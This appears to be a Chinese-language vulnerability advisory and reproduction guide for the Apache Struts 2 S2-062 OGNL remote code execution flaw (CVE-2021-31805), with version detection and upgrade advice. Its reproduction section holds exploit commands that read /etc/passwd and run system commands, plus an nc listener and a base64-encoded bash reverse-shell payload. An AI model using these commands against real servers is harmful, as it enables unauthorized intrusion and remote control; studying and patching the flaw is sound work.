漏洞描述

Apache官方发布了Apache Struts 2的风险通告,漏洞编号为CVE-2021-31805。该漏洞是由于Apache对之前漏洞 CVE-2020-17530的修复不完整造成的,是之前修复的绕过。这导致一些标签属性仍然可以执行 OGNL 表达式,攻击者利用该漏洞可以构造恶意数据,远程执行任意代码。

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。
 
 

影响范围

2.0.0 <= Apache Struts2 <= 2.5.29
 
 

漏洞复现

漏洞验证脚本

https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action "cat /etc/passwd"

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action whoami

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action id

反弹Shell

NC开启端口监听

nc -lvvp 8081



构造base64编码反弹shell脚本,利用如下网站生成:https://ir0ny.top/pentest/reverse-encoder-shell.html


 

获取Shell

python CVE-2021-31805_Shell.py http://1.1.1.1:8080/index.action "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"




 

成功获取Shell





 
 

解决方案

1 如何检测组件系统版本


方案一

全盘搜索 struts2-core,如果存在 struts2-core-{version}.jar,且所使用的版本号在受影响范围内:



则用户可能受漏洞影响。

方案二

如果项目是由 maven 编译的(一般在项目根目录下会有 pom.xml)



打开 pom.xml 文件,如图:




在此文件中搜索 struts2-core,如果可以搜索到如下关键字,且所使用的版本号在受影响范围内,则可能受该漏洞影响。

<dependency>
  <groupId>org.apache.struts</groupId>

  <artifactId>struts2-core</artifactId>
  <version>2.5.29</version>
</dependency>


2 官方修复建议

当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30